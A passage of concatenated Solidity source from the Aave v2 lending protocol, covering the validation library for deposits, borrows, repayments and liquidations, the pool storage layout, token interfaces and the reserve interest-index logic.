'../helpers/Errors.sol'; import {Helpers} from '../helpers/Helpers.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 4000; uint256 public constant REBALANCE_UP_USAGE_RATIO_THRESHOLD = 0.95 * 1e27; //usage ratio of 95% /** * @dev Validates a deposit action * @param reserve The reserve object on which the user is depositing * @param amount The amount to be deposited */ function validateDeposit(DataTypes.ReserveData storage reserve, uint256 amount) external view { (bool isActive, bool isFrozen, , ) = reserve.configuration.getFlags(); require(amount != 0, Errors.VL_INVALID_AMOUNT); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require(!isFrozen, Errors.VL_RESERVE_FROZEN); } /** * @dev Validates a withdraw action * @param reserveAddress The address of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user * @param reservesData The reserves state * @param userConfig The user configuration * @param reserves The addresses of the reserves * @param reservesCount The number of reserves * @param oracle The price oracle */ function validateWithdraw( address reserveAddress, uint256 amount, uint256 userBalance, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view { require(amount != 0, Errors.VL_INVALID_AMOUNT); require(amount <= userBalance, Errors.VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE); (bool isActive, , , ) = reservesData[reserveAddress].configuration.getFlags(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require( GenericLogic.balanceDecreaseAllowed( reserveAddress, msg.sender, amount, reservesData, userConfig, reserves, reservesCount, oracle ), Errors.VL_TRANSFER_NOT_ALLOWED ); } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 currentLiquidationThreshold; uint256 amountOfCollateralNeededETH; uint256 userCollateralBalanceETH; uint256 userBorrowBalanceETH; uint256 availableLiquidity; uint256 healthFactor; bool isActive; bool isFrozen; bool borrowingEnabled; bool stableRateBorrowingEnabled; } /** * @dev Validates a borrow action * @param asset The address of the asset to borrow * @param reserve The reserve state from which the user is borrowing * @param userAddress The address of the user * @param amount The amount to be borrowed * @param amountInETH The amount to be borrowed, in ETH * @param interestRateMode The interest rate mode at which the user is borrowing * @param maxStableLoanPercent The max amount of the liquidity that can be borrowed at stable rate, in percentage * @param reservesData The state of all the reserves * @param userConfig The state of the user for the specific reserve * @param reserves The addresses of all the active reserves * @param oracle The price oracle */ function validateBorrow( address asset, DataTypes.ReserveData storage reserve, address userAddress, uint256 amount, uint256 amountInETH, uint256 interestRateMode, uint256 maxStableLoanPercent, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view { ValidateBorrowLocalVars memory vars; (vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.stableRateBorrowingEnabled) = reserve .configuration .getFlags(); require(vars.isActive, Errors.VL_NO_ACTIVE_RESERVE); require(!vars.isFrozen, Errors.VL_RESERVE_FROZEN); require(amount != 0, Errors.VL_INVALID_AMOUNT); require(vars.borrowingEnabled, Errors.VL_BORROWING_NOT_ENABLED); //validate interest rate mode require( uint256(DataTypes.InterestRateMode.VARIABLE) == interestRateMode || uint256(DataTypes.InterestRateMode.STABLE) == interestRateMode, Errors.VL_INVALID_INTEREST_RATE_MODE_SELECTED ); ( vars.userCollateralBalanceETH, vars.userBorrowBalanceETH, vars.currentLtv, vars.currentLiquidationThreshold, vars.healthFactor ) = GenericLogic.calculateUserAccountData( userAddress, reservesData, userConfig, reserves, reservesCount, oracle ); require(vars.userCollateralBalanceETH > 0, Errors.VL_COLLATERAL_BALANCE_IS_0); require( vars.healthFactor > GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD ); //add the current already borrowed amount to the amount requested to calculate the total collateral needed. vars.amountOfCollateralNeededETH = vars.userBorrowBalanceETH.add(amountInETH).percentDiv( vars.currentLtv ); //LTV is calculated in percentage require( vars.amountOfCollateralNeededETH <= vars.userCollateralBalanceETH, Errors.VL_COLLATERAL_CANNOT_COVER_NEW_BORROW ); /** * Following conditions need to be met if the user is borrowing at a stable rate: * 1. Reserve must be enabled for stable rate borrowing * 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency * they are borrowing, to prevent abuses. * 3. Users will be able to borrow only a portion of the total available liquidity **/ if (interestRateMode == uint256(DataTypes.InterestRateMode.STABLE)) { //check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve require(vars.stableRateBorrowingEnabled, Errors.VL_STABLE_BORROWING_NOT_ENABLED); require( !userConfig.isUsingAsCollateral(reserve.id) || reserve.configuration.getLtv() == 0 || amount > IERC20(reserve.aTokenAddress).balanceOf(userAddress), Errors.VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY ); vars.availableLiquidity = IERC20(asset).balanceOf(reserve.aTokenAddress); //calculate the max available loan size in stable rate mode as a percentage of the //available liquidity uint256 maxLoanSizeStable = vars.availableLiquidity.percentMul(maxStableLoanPercent); require(amount <= maxLoanSizeStable, Errors.VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE); } } /** * @dev Validates a repay action * @param reserve The reserve state from which the user is repaying * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveData storage reserve, uint256 amountSent, DataTypes.InterestRateMode rateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) external view { bool isActive = reserve.configuration.getActive(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require(amountSent > 0, Errors.VL_INVALID_AMOUNT); require( (stableDebt > 0 && DataTypes.InterestRateMode(rateMode) == DataTypes.InterestRateMode.STABLE) || (variableDebt > 0 && DataTypes.InterestRateMode(rateMode) == DataTypes.InterestRateMode.VARIABLE), Errors.VL_NO_DEBT_OF_SELECTED_TYPE ); require( amountSent != uint256(-1) || msg.sender == onBehalfOf, Errors.VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF ); } /** * @dev Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the borrow */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) external view { (bool isActive, bool isFrozen, , bool stableRateEnabled) = reserve.configuration.getFlags(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require(!isFrozen, Errors.VL_RESERVE_FROZEN); if (currentRateMode == DataTypes.InterestRateMode.STABLE) { require(stableDebt > 0, Errors.VL_NO_STABLE_RATE_LOAN_IN_RESERVE); } else if (currentRateMode == DataTypes.InterestRateMode.VARIABLE) { require(variableDebt > 0, Errors.VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE); /** * user wants to swap to stable, before swapping we need to ensure that * 1. stable borrow rate is enabled on the reserve * 2. user is not trying to abuse the reserve by depositing * more collateral than he is borrowing, artificially lowering * the interest rate, borrowing at variable, and switching to stable **/ require(stableRateEnabled, Errors.VL_STABLE_BORROWING_NOT_ENABLED); require( !userConfig.isUsingAsCollateral(reserve.id) || reserve.configuration.getLtv() == 0 || stableDebt.add(variableDebt) > IERC20(reserve.aTokenAddress).balanceOf(msg.sender), Errors.VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY ); } else { revert(Errors.VL_INVALID_INTEREST_RATE_MODE_SELECTED); } } /** * @dev Validates a stable borrow rate rebalance action * @param reserve The reserve state on which the user is getting rebalanced * @param reserveAddress The address of the reserve * @param stableDebtToken The stable debt token instance * @param variableDebtToken The variable debt token instance * @param aTokenAddress The address of the aToken contract */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, address reserveAddress, IERC20 stableDebtToken, IERC20 variableDebtToken, address aTokenAddress ) external view { (bool isActive, , , ) = reserve.configuration.getFlags(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); //if the usage ratio is below 95%, no rebalances are needed uint256 totalDebt = stableDebtToken.totalSupply().add(variableDebtToken.totalSupply()).wadToRay(); uint256 availableLiquidity = IERC20(reserveAddress).balanceOf(aTokenAddress).wadToRay(); uint256 usageRatio = totalDebt == 0 ? 0 : totalDebt.rayDiv(availableLiquidity.add(totalDebt)); //if the liquidity rate is below REBALANCE_UP_THRESHOLD of the max variable APR at 95% usage, //then we allow rebalancing of the stable rate positions. uint256 currentLiquidityRate = reserve.currentLiquidityRate; uint256 maxVariableBorrowRate = IReserveInterestRateStrategy(reserve.interestRateStrategyAddress).getMaxVariableBorrowRate(); require( usageRatio >= REBALANCE_UP_USAGE_RATIO_THRESHOLD && currentLiquidityRate <= maxVariableBorrowRate.percentMul(REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD), Errors.LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET ); } /** * @dev Validates the action of setting an asset as collateral * @param reserve The state of the reserve that the user is enabling or disabling as collateral * @param reserveAddress The address of the reserve * @param reservesData The data of all the reserves * @param userConfig The state of the user for the specific reserve * @param reserves The addresses of all the active reserves * @param oracle The price oracle */ function validateSetUseReserveAsCollateral( DataTypes.ReserveData storage reserve, address reserveAddress, bool useAsCollateral, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view { uint256 underlyingBalance = IERC20(reserve.aTokenAddress).balanceOf(msg.sender); require(underlyingBalance > 0, Errors.VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0); require( useAsCollateral || GenericLogic.balanceDecreaseAllowed( reserveAddress, msg.sender, underlyingBalance, reservesData, userConfig, reserves, reservesCount, oracle ), Errors.VL_DEPOSIT_ALREADY_IN_USE ); } /** * @dev Validates a flashloan action * @param assets The assets being flashborrowed * @param amounts The amounts for each asset being borrowed **/ function validateFlashloan(address[] memory assets, uint256[] memory amounts) internal pure { require(assets.length == amounts.length, Errors.VL_INCONSISTENT_FLASHLOAN_PARAMS); } /** * @dev Validates the liquidation action * @param collateralReserve The reserve data of the collateral * @param principalReserve The reserve data of the principal * @param userConfig The user configuration * @param userHealthFactor The user's health factor * @param userStableDebt Total stable debt balance of the user * @param userVariableDebt Total variable debt balance of the user **/ function validateLiquidationCall( DataTypes.ReserveData storage collateralReserve, DataTypes.ReserveData storage principalReserve, DataTypes.UserConfigurationMap storage userConfig, uint256 userHealthFactor, uint256 userStableDebt, uint256 userVariableDebt ) internal view returns (uint256, string memory) { if ( !collateralReserve.configuration.getActive() || !principalReserve.configuration.getActive() ) { return ( uint256(Errors.CollateralManagerErrors.NO_ACTIVE_RESERVE), Errors.VL_NO_ACTIVE_RESERVE ); } if (userHealthFactor >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD) { return ( uint256(Errors.CollateralManagerErrors.HEALTH_FACTOR_ABOVE_THRESHOLD), Errors.LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD ); } bool isCollateralEnabled = collateralReserve.configuration.getLiquidationThreshold() > 0 && userConfig.isUsingAsCollateral(collateralReserve.id); //if collateral isn't enabled as collateral by user, it cannot be liquidated if (!isCollateralEnabled) { return ( uint256(Errors.CollateralManagerErrors.COLLATERAL_CANNOT_BE_LIQUIDATED), Errors.LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED ); } if (userStableDebt == 0 && userVariableDebt == 0) { return ( uint256(Errors.CollateralManagerErrors.CURRRENCY_NOT_BORROWED), Errors.LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER ); } return (uint256(Errors.CollateralManagerErrors.NO_ERROR), Errors.LPCM_NO_ERRORS); } /** * @dev Validates an aToken transfer * @param from The user from which the aTokens are being transferred * @param reservesData The state of all the reserves * @param userConfig The state of the user for the specific reserve * @param reserves The addresses of all the active reserves * @param oracle The price oracle */ function validateTransfer( address from, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) internal view { (, , , , uint256 healthFactor) = GenericLogic.calculateUserAccountData( from, reservesData, userConfig, reserves, reservesCount, oracle ); require( healthFactor >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.VL_TRANSFER_NOT_ALLOWED ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {UserConfiguration} from '../libraries/configuration/UserConfiguration.sol'; import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol'; import {ReserveLogic} from '../libraries/logic/ReserveLogic.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; contract LendingPoolStorage { using ReserveLogic for DataTypes.ReserveData; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; ILendingPoolAddressesProvider internal _addressesProvider; mapping(address => DataTypes.ReserveData) internal _reserves; mapping(address => DataTypes.UserConfigurationMap) internal _usersConfig; // the list of the available reserves, structured as a mapping for gas savings reasons mapping(uint256 => address) internal _reservesList; uint256 internal _reservesCount; bool internal _paused; uint256 internal _maxStableRateBorrowSizePercent; uint256 internal _flashLoanPremiumTotal; uint256 internal _maxNumberOfReserves; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IScaledBalanceToken { /** * @dev Returns the scaled balance of the user. The scaled balance is the sum of all the * updated stored balance divided by the reserve's liquidity index at the moment of the update * @param user The user whose balance is calculated * @return The scaled balance of the user **/ function scaledBalanceOf(address user) external view returns (uint256); /** * @dev Returns the scaled balance of the user and the scaled total supply. * @param user The address of the user * @return The scaled balance of the user * @return The scaled balance and the scaled total supply **/ function getScaledUserBalanceAndSupply(address user) external view returns (uint256, uint256); /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return The scaled total supply **/ function scaledTotalSupply() external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from './ILendingPool.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IInitializableAToken * @notice Interface for the initialize function on AToken * @author Aave **/ interface IInitializableAToken { /** * @dev Emitted when an aToken is initialized * @param underlyingAsset The address of the underlying asset * @param pool The address of the associated lending pool * @param treasury The address of the treasury * @param incentivesController The address of the incentives controller for this aToken * @param aTokenDecimals the decimals of the underlying * @param aTokenName the name of the aToken * @param aTokenSymbol the symbol of the aToken * @param params A set of encoded parameters for additional initialization **/ event Initialized( address indexed underlyingAsset, address indexed pool, address treasury, address incentivesController, uint8 aTokenDecimals, string aTokenName, string aTokenSymbol, bytes params ); /** * @dev Initializes the aToken * @param pool The address of the lending pool where this aToken will be used * @param treasury The address of the Aave treasury, receiving the fees on this aToken * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param aTokenDecimals The decimals of the aToken, same as the underlying asset's * @param aTokenName The name of the aToken * @param aTokenSymbol The symbol of the aToken */ function initialize( ILendingPool pool, address treasury, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 aTokenDecimals, string calldata aTokenName, string calldata aTokenSymbol, bytes calldata params ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IAaveIncentivesController { function handleAction( address user, uint256 userBalance, uint256 totalSupply ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from './ILendingPool.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IInitializableDebtToken * @notice Interface for the initialize function common between debt tokens * @author Aave **/ interface IInitializableDebtToken { /** * @dev Emitted when a debt token is initialized * @param underlyingAsset The address of the underlying asset * @param pool The address of the associated lending pool * @param incentivesController The address of the incentives controller for this aToken * @param debtTokenDecimals the decimals of the debt token * @param debtTokenName the name of the debt token * @param debtTokenSymbol the symbol of the debt token * @param params A set of encoded parameters for additional initialization **/ event Initialized( address indexed underlyingAsset, address indexed pool, address incentivesController, uint8 debtTokenDecimals, string debtTokenName, string debtTokenSymbol, bytes params ); /** * @dev Initializes the debt token. * @param pool The address of the lending pool where this aToken will be used * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's * @param debtTokenName The name of the token * @param debtTokenSymbol The symbol of the token */ function initialize( ILendingPool pool, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 debtTokenDecimals, string memory debtTokenName, string memory debtTokenSymbol, bytes calldata params ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IVariableDebtToken} from '../../../interfaces/IVariableDebtToken.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {MathUtils} from '../math/MathUtils.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {Errors} from '../helpers/Errors.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements the logic to update the reserves state */ library ReserveLogic { using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; /** * @dev Emitted when the state of a reserve is updated * @param asset The address of the underlying asset of the reserve * @param liquidityRate The new liquidity rate * @param stableBorrowRate The new stable borrow rate * @param variableBorrowRate The new variable borrow rate * @param liquidityIndex The new liquidity index * @param variableBorrowIndex The new variable borrow index **/ event ReserveDataUpdated( address indexed asset, uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex ); using ReserveLogic for DataTypes.ReserveData; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; /** * @dev Returns the ongoing normalized income for the reserve * A value of 1e27 means there is no income. As time passes, the income is accrued * A value of 2*1e27 means for each unit of asset one unit of income has been accrued * @param reserve The reserve object * @return the normalized income. expressed in ray **/ function getNormalizedIncome(DataTypes.ReserveData storage reserve) internal view returns (uint256) { uint40 timestamp = reserve.lastUpdateTimestamp; //solium-disable-next-line if (timestamp == uint40(block.timestamp)) { //if the index was updated in the same block, no need to perform any calculation return reserve.liquidityIndex; } uint256 cumulated = MathUtils.calculateLinearInterest(reserve.currentLiquidityRate, timestamp).rayMul( reserve.liquidityIndex ); return cumulated; } /** * @dev Returns the ongoing normalized variable debt for the reserve * A value of 1e27 means there is no debt. As time passes, the income is accrued * A value of 2*1e27 means that for each unit of debt, one unit worth of interest has been accumulated * @param reserve The reserve object * @return The normalized variable debt. expressed in ray **/ function getNormalizedDebt(DataTypes.ReserveData storage reserve) internal view returns (uint256) { uint40 timestamp = reserve.lastUpdateTimestamp; //solium-disable-next-line if (timestamp == uint40(block.timestamp)) { //if the index was updated in the same block, no need to perform any calculation return reserve.variableBorrowIndex; } uint256 cumulated = MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp).rayMul( reserve.variableBorrowIndex ); return cumulated; } /** * @dev Updates the liquidity cumulative index and the variable borrow index. * @param reserve the reserve object **/ function updateState(DataTypes.ReserveData storage reserve) internal { uint256 scaledVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress).scaledTotalSupply(); uint256 previousVariableBorrowIndex = reserve.variableBorrowIndex; uint256 previousLiquidityIndex = reserve.liquidityIndex; uint40 lastUpdatedTimestamp = reserve.lastUpdateTimestamp; (uint256 newLiquidityIndex, uint256 newVariableBorrowIndex) = _updateIndexes( reserve, scaledVariableDebt, previousLiquidityIndex, previousVariableBorrowIndex, lastUpdatedTimestamp ); _mintToTreasury( reserve, scaledVariableDebt, previousVariableBorrowIndex, newLiquidityIndex, newVariableBorrowIndex, lastUpdatedTimestamp ); } /** * @dev Accumulates a predefined amount of asset to the reserve as a fixed, instantaneous income. Used for example to accumulate * the flashloan fee to the reserve, and spread it between all the depositors * @param reserve The reserve object * @param totalLiquidity The total liquidity available in the reserve * @param amount The amount to accomulate **/ function cumulateToLiquidityIndex( DataTypes.ReserveData storage reserve, uint256 totalLiquidity, uint256 amount ) internal { uint256 amountToLiquidityRatio = amount.wadToRay().rayDiv(totalLiquidity.wadToRay()); uint256 result = amountToLiquidityRatio.add(WadRayMath.ray()); result = result.rayMul(reserve.liquidityIndex); require(result <= type(uint128).max, Errors.RL_LIQUIDITY_INDEX_OVERFLOW); reserve.liquidityIndex = uint128(result); } /** * @dev Initializes a reserve * @param reserve The reserve object * @param aTokenAddress The address of the overlying atoken contract * @param interestRateStrategyAddress The address of the interest rate strategy contract **/ function init( DataTypes.ReserveData storage reserve, address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress, address interestRateStrategyAddress ) external { require(reserve.aTokenAddress == address(0), Errors.RL_RESERVE_ALREADY_INITIALIZED); reserve.liquidityIndex = uint128(WadRayMath.ray()); reserve.variableBorrowIndex = uint128(WadRayMath.ray()); reserve.aTokenAddress = aTokenAddress; reserve.stableDebtTokenAddress = stableDebtTokenAddress; reserve.variableDebtTokenAddress = variableDebtTokenAddress; reserve.interestRateStrategyAddress = interestRateStrategyAddress; } struct UpdateInterestRatesLocalVars { address stableDebtTokenAddress; uint256 availableLiquidity; uint256 totalStableDebt; uint256 newLiquidityRate; uint256 newStableRate; uint256 newVariableRate; uint256 avgStableRate; uint256 totalVariableDebt; } /** * @dev Updates the reserve current stable borrow rate, the current variable borrow rate and the current liquidity rate * @param reserve The address of the reserve to be updated * @param liquidityAdded The amount of liquidity added to the protocol (deposit or repay) in the previous action * @param liquidityTaken The amount of liquidity taken from the protocol (redeem or borrow) **/ function updateInterestRates( DataTypes.ReserveData storage reserve, address reserveAddress, address aTokenAddress, uint256 liquidityAdded, uint256 liquidityTaken ) internal { UpdateInterestRatesLocalVars memory vars; vars.stableDebtTokenAddress = reserve.stableDebtTokenAddress; (vars.totalStableDebt, vars.avgStableRate) = IStableDebtToken(vars.stableDebtTokenAddress) .getTotalSupplyAndAvgRate(); //calculates the total variable debt locally using the scaled total supply instead //of totalSupply(), as it's noticeably cheaper. Also, the index has been //updated by the previous updateState() call vars.totalVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress) .scaledTotalSupply() .rayMul(reserve.variableBorrowIndex); ( vars.newLiquidityRate, vars.newStableRate, vars.newVariableRate ) = IReserveInterestRateStrategy(reserve.interestRateStrategyAddress).calculateInterestRates( reserveAddress, aTokenAddress, liquidityAdded, liquidityTaken, vars.totalStableDebt, vars.totalVariableDebt, vars.avgStableRate, reserve.configuration.getReserveFactor() ); require(vars.newLiquidityRate <= type(uint128).max, Errors.RL_LIQUIDITY_RATE_OVERFLOW); require(vars.newStableRate <= type(uint128).max, Errors.RL_STABLE_BORROW_RATE_OVERFLOW); require(vars.newVariableRate <= type(uint128).max, Errors.RL_VARIABLE_BORROW_RATE_OVERFLOW); reserve.currentLiquidityRate = uint128(vars.newLiquidityRate); reserve.currentStableBorrowRate = uint128(vars.newStableRate); reserve.currentVariableBorrowRate = uint128(vars.newVariableRate); emit ReserveDataUpdated( reserveAddress, vars.newLiquidityRate, vars.newStableRate, vars.newVariableRate, reserve.liquidityIndex, reserve.variableBorrowIndex ); } struct MintToTreasuryLocalVars { uint256 currentStableDebt; uint256 principalStableDebt; uint256 previousStableDebt; uint256 currentVariableDebt; uint256 previousVariableDebt; uint256 avgStableRate; uint256 cumulatedStableInterest; uint256 totalDebtAccrued; uint256 amountToMint; uint256 reserveFactor; uint40 stableSupplyUpdatedTimestamp; } /** * @dev Mints part of the repaid interest to the reserve treasury as a function of the reserveFactor for the * specific asset. * @param reserve The reserve reserve to be updated * @param scaledVariableDebt The current scaled total variable debt * @param previousVariableBorrowIndex The variable borrow index before the last accumulation of the interest * @param newLiquidityIndex The new liquidity index * @param newVariableBorrowIndex The variable borrow index after the last accumulation of the interest **/ function _mintToTreasury( DataTypes.ReserveData storage reserve, uint256 scaledVariableDebt, uint256 previousVariableBorrowIndex, uint256 newLiquidityIndex, uint256 newVariableBorrowIndex, uint40 timestamp ) internal { MintToTreasuryLocalVars memory vars; vars.reserveFactor = reserve.configuration.getReserveFactor(); if (vars.reserveFactor == 0) { return; } //fetching the principal, total stable debt and the avg stable rate ( vars.principalStableDebt, vars.currentStableDebt, vars.avgStableRate, vars.stableSupplyUpdatedTimestamp ) = IStableDebtToken(reserve.stableDebtTokenAddress).getSupplyData(); //calculate the last principal variable debt vars.previousVariableDebt = scaledVariableDebt.rayMul(previousVariableBorrowIndex); //calculate the new total supply after accumulation of the index vars.currentVariableDebt = scaledVariableDebt.rayMul(newVariableBorrowIndex); //calculate the stable debt until the last timestamp update vars.cumulatedStableInterest = MathUtils.calculateCompoundedInterest( vars.avgStableRate, vars.stableSupplyUpdatedTimestamp, timestamp ); vars.previousStableDebt = vars.principalStableDebt.rayMul(vars.cumulatedStableInterest); //debt accrued is the sum of the current debt minus the sum of the debt at the last update vars.totalDebtAccrued = vars .currentVariableDebt .add(vars.currentStableDebt) .sub(vars.previousVariableDebt) .sub(vars.previousStableDebt); vars.amountToMint = vars.totalDebtAccrued.percentMul(vars.reserveFactor); if (vars.amountToMint != 0) { IAToken(reserve.aTokenAddress).mintToTreasury(vars.amountToMint, newLiquidityIndex); } } /** * @dev Updates the reserve indexes and the timestamp of the update * @param reserve The reserve reserve to be updated * @param scaledVariableDebt The scaled variable debt * @param liquidityIndex The last stored liquidity index * @param variableBorrowIndex The last stored variable borrow index **/ function _updateIndexes( DataTypes.ReserveData storage reserve, uint256 scaledVariableDebt, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 timestamp ) internal returns (uint256, uint256) { uint256 currentLiquidityRate = reserve.currentLiquidityRate; uint256 newLiquidityIndex = liquidityIndex; uint256 newVariableBorrowIndex = variableBorrowIndex; //only cumulating if there is any income being produced if (currentLiquidityRate > 0) { uint256 cumulatedLiquidityInterest = MathUtils.calculateLinearInterest(currentLiquidityRate, timestamp); newLiquidityIndex = cumulatedLiquidityInterest.rayMul(liquidityIndex); require(newLiquidityIndex <= type(uint128).max, Errors.RL_LIQUIDITY_INDEX_OVERFLOW); reserve.liquidityIndex = uint128(newLiquidityIndex); //as the liquidity rate might come only from stable rate loans, we need to ensure //that there is actual variable debt before accumulating if (scaledVariableDebt != 0) { uint256 cumulatedVariableBorrowInterest = MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp); newVariableBorrowIndex = cumulatedVariableBorrowInterest.rayMul(variableBorrowIndex); require( newVariableBorrowIndex <= type(uint128).max, Errors.RL_VARIABLE_BORROW_INDEX_OVERFLOW ); reserve.variableBorrowIndex = uint128(newVariableBorrowIndex); } } //solium-disable-next-line reserve.lastUpdateTimestamp = uint40(block.timestamp); return (newLiquidityIndex, newVariableBorrowIndex); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title ReserveConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the reserve configuration */ library ReserveConfiguration { uint256 constant LTV_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000; // prettier-ignore uint256 constant LIQUIDATION_THRESHOLD_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF; // prettier-ignore uint256 constant LIQUIDATION_BONUS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFF; // prettier-ignore uint256 constant DECIMALS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00FFFFFFFFFFFF; // prettier-ignore uint256 constant ACTIVE_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFF; // prettier-ignore uint256 constant FROZEN_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFFFFFFFF; // prettier-ignore uint256 constant BORROWING_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFFFFFFFFFFFFF; // prettier-ignore uint256 constant STABLE_BORROWING_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFFFFFFFFF; // prettier-ignore uint256 